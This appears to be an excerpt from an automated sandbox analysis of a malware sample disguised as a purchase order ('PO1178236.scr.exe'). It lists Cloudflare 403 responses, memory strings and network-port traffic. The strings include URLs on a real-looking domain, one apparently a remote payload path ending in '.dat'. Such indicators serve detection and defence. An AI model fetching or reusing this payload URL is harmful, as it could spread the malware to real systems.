Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:30 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fMkxx3lPF%2FJ71%2Bhn9i8i1kdv7RxKmbWfAAqH9Yf8HL9bIX%2BcXS8jkiyLFST9PpAOlrU3nax4nPs7kPyPXxZkPkjA%2Bu763tx0IYOOXvtsi1gSrX6uTUBZXJZv4C7PZVsvbZejeY1adWnV0EKy"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb7c3b158c30-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2109&min_rtt=2069&rtt_var=804&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1411309&cwnd=218&unsent_bytes=0&cid=c03ae59b7447bc2c&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:31 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ljo6H2husonapbdj1fka%2F%2BZIknTkJ8i%2BZqHGD4k%2B9rkvb4AQ0A5AdJ2XpnkDB0OvIvQz6wHZLGA30frGW8yvIoiqW36JujWwbWEVeQZBJM1KDzj1XxV%2FpNOC42RFEf7FSrT%2FIW%2FVz1ncq7BY"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb803d9a0c76-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1481&min_rtt=1472&rtt_var=571&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1885087&cwnd=151&unsent_bytes=0&cid=de633c5adc232513&ts=154&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:31 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V6ePL1VHsrBfUKGQvEiQLu2Y5EilkBnnAgG2IvFJHekgCzUlkDLlcdWJ9JXs3Nr8Twk0Nm660EvlXb%2FntOcxSH3kZUQfK9UVK%2F0Y2DXoi4LG12iRNVqaCDTo5yJO2AnybtSzYcdnvScOP6fs"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb83fa6a41cd-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1667&min_rtt=1660&rtt_var=637&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1698662&cwnd=227&unsent_bytes=0&cid=21f1ac537f1e40c3&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:32 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PmqWt2mk6MDeWS6WCE5EuHYti2JuLWqzSS5B4demltwVGw37L24DN7PuXtobJhJZ%2F2UfN9jKnNlbC3oL38GEby81F1a4ALe8evvoAnXTgiMZo447cTXuuRA%2B%2BxnJTlrH0qAYQBWe2QPXnL8M"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb87bdd9de93-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1646&rtt_var=634&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1704611&cwnd=248&unsent_bytes=0&cid=ee83cea47accd3d6&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:32 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QHxLvXXiInEQ%2FA00KFfhr%2FAIkgz%2FIpZoBAv%2BHnVhiQZ7p2AHTPuPCqgJyzMUtacRuTebJyx%2BsTdJJck2dEHSRtAsSnfidKK6SY5p3o3FIIMYje1a4AwejKpUbRFA49VVOMMJNswizoqJ1qce"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb8bdc0c43a0-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1588&min_rtt=1581&rtt_var=608&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1778319&cwnd=219&unsent_bytes=0&cid=facc7a2d245e52d5&ts=164&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:33 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mEUeQ06Th3pOK1HoMFkONSi1i3TqimAhmZNV8ufP4zavxV1bSERh%2BH3KHhWBK2xWp6rWdMACGgwc%2Fa18dcwA%2Bio8RfhHPATwoCsMxy%2FozS22lW2t3QqW5kFsFrAQo4c4urPEBUDjIsp%2Bbg%2BQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb8fcbe442de-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1735&min_rtt=1733&rtt_var=654&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1668571&cwnd=230&unsent_bytes=0&cid=0062298620f4393a&ts=130&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:34 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6IsCsasssIJGNFyhz8g2USBRORy8TB3020B%2F2HArbFr9zKB5smT0P8ifJkFdE3S7QLawNZsUm7cD2seiFIyZE71xDQbtLxVsC0ZMbMuBKzlAnLVs9%2Bmw%2BCZZ2VqyFx8kfxYfVTc1p25G2GrL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb93ab4e4232-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2413&min_rtt=2410&rtt_var=909&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1199671&cwnd=217&unsent_bytes=0&cid=9a1151860acfd3b0&ts=152&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:34 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W7XW%2ByuqW0LbHsJ33tfzAjQk78neSAjyP%2BaCs5xnWCY2iI%2FPyqfmTDtrouEQhCTdWzleZDZiWVONI6IwSHdDZCbmiPQ4F3%2BV1ooSg6IeuHrM7L%2BTu71XB7DXp1K741IVbCSBdAFNNSpWuAWb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb97a9240f75-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1662&min_rtt=1655&rtt_var=634&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1706604&cwnd=221&unsent_bytes=0&cid=ffbe276c0fb4fa08&ts=155&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:35 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T0OP1esoMUihd7%2FZnUqlDq%2Bcxtv8WwhXGQu%2Bnxax9ARIj3%2FOD7jSTGvCUtCX58F07emeqyfg7DmaedU7c6J7Kjc2MZYyl57nG3pXK67otuPvRc8c1aq9WWyd%2FsQNd%2FSIjHO38nmXoe1%2BymYS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb9b9cb241e7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1693&min_rtt=1689&rtt_var=642&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1693735&cwnd=202&unsent_bytes=0&cid=71b76e55050a2b86&ts=143&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:36 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2Bs3O9E%2BeHRsm5vbrWSwYAytwag7qYocHZze9PrFNZInVqzbE0rFryPdq1ieelVP4Uk6n4O1R3a7I%2FjNYO84P7VTX4edgv8jEZk0JOaR0ZS92nyBF2%2FcD%2FuhpaP3%2BfrfHw5qcdotaQApr6Rl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bb9f7b35de94-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1668&min_rtt=1664&rtt_var=633&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1717647&cwnd=235&unsent_bytes=0&cid=f17e886355eee520&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:36 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=08STfzh5s%2Bb33dXkbVancxL%2FrDlRqySBgd407Hnmaskyqoc2dFbebcAYkEe2B%2Fqmd9Ggppy0Sxj9R2XjNkg7ILMx0OsEmrJaDR2Ac6LWS1pST%2BUGw66qT1qRppYolwFWGXrOf6QogiWSKDHF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bba36e8f433a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2388&min_rtt=2373&rtt_var=920&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1170340&cwnd=32&unsent_bytes=0&cid=c073aabaa05b5948&ts=146&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:37 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7M6gN8NIaXansN3NkkDz0DxoLzLy4d1syFg2P9T1ozmUK0lD5CJ8wyGAm8djyiYa405eDZKieeoSJ3lywiU%2F%2BLkbEOXeKsrqIUn100wFvdXg4K2cTQxTwPb3jG%2FCFdTWzOktHcFBYExh6K%2BT"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bba74acec47f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1653&min_rtt=1645&rtt_var=633&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1705607&cwnd=252&unsent_bytes=0&cid=0f70a8480ecd6bf6&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:37 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mz5pqexbAtXbnuH6uUhacirQUzmOHQqF%2B%2FyoI%2Fsi%2BOYOlkGuQl7yV0c1GRHYxy9xmwa0%2F59l8UA8ReQj8QDYBfVvoVNHmlag%2F3SlBf4sPGHWT7fllTIaye0g5OfyPZUdeSCoGSLcq0XTj9FU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bbab181dc3fa-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1630&min_rtt=1622&rtt_var=624&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1729857&cwnd=186&unsent_bytes=0&cid=f429e1615b0fdad1&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:38 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4WlkDgQXU4VsH7a4vhlh8uF9jiQdUzDJIk%2FjAKdArNtDkhddELw8tENNIuzY6qESEFPykImPo78TjjiT42cUTtO0GFFehHAwImX%2FXlf5JU1MLzwlYEuY8UG0H6Oja3%2FZ0MINXMf8C8l7PTAz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bbaef841c347-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1516&min_rtt=1505&rtt_var=587&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1829573&cwnd=187&unsent_bytes=0&cid=c1a202661677777d&ts=145&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:39 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pFQY0Eim83dob334HC1nhs78mhxJHUWZsZbuYZ7Of3y5sPAsP5Q7BpGXDDUEb4%2FGHt64iKnHJfHsObBk3MJnzEPOdqGt5%2B%2F2PJIEkvzn1vHhmnVggfsqZZbKNwjy9y2sZ44LFNmIEd2ekB%2BK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bbb2b8e6436d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1583&min_rtt=1580&rtt_var=598&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1819314&cwnd=162&unsent_bytes=0&cid=cd1c9803073685a4&ts=137&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:39 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GsOVnG%2FfLBxDApBL3kRSEKIMNQZ%2B%2BIiTE8zM44UD1mBqkXZN3vFTtWnf09Qz6zBkRlHdSG3mBxuRQtCUrQUuKIaYkheXbGxgLI9wdvttnYxf2xaelSg9c7y%2FRfgesjYyBMVOIEDUqZHzTnam"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bbb67e1c4291-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2143&min_rtt=2124&rtt_var=836&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1279579&cwnd=207&unsent_bytes=0&cid=502c3e60b6028241&ts=129&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:32:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:32:41 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=REGDTbXJ7CFMGbmemq8i%2F5Ze87sihZ3k1dqHzQ6u4%2FNAh%2FxOSpdot%2Fh7OQYrDpQ%2B4XBpLs1%2F3APNbkiC3j2IKR4J90u4I20LgBy7%2BBJ9sPsODqS%2B7cjCSZ7L8dTTyzIURr2QdZQCAy%2BUCyRL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2bbc03a01c35d-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1500&min_rtt=1495&rtt_var=571&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1898569&cwnd=183&unsent_bytes=0&cid=6dff4232390ceaf7&ts=135&x=0"

Source: PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PO1178236.scr.exe, 00000000.00000002.4158361783.00000000029C8000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B02000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vascocorretora.com.br
Source: PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002AC4000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.00000000029C8000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B02000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vascocorretora.com.brd
Source: PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002D4E000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002687000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002AC4000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.00000000029C8000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002600000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B02000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002D34000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.00000000023F6000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.vascocorretora.com.br
Source: PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.vascocorretora.com.br/PPI/Lhysknp
Source: PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.vascocorretora.com.br/PPI/Lhysknpjn
Source: PO1178236.scr.exe	String found in binary or memory: https://www.vascocorretora.com.br/PPI/Lhysknv.dat
Source: PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B46000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002AC4000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.00000000029C8000.00000004.00000800.00020000.00000000.sdmp, PO1178236.scr.exe, 00000000.00000002.4158361783.0000000002B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.vascocorretora.com.brD

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 50360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 50359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
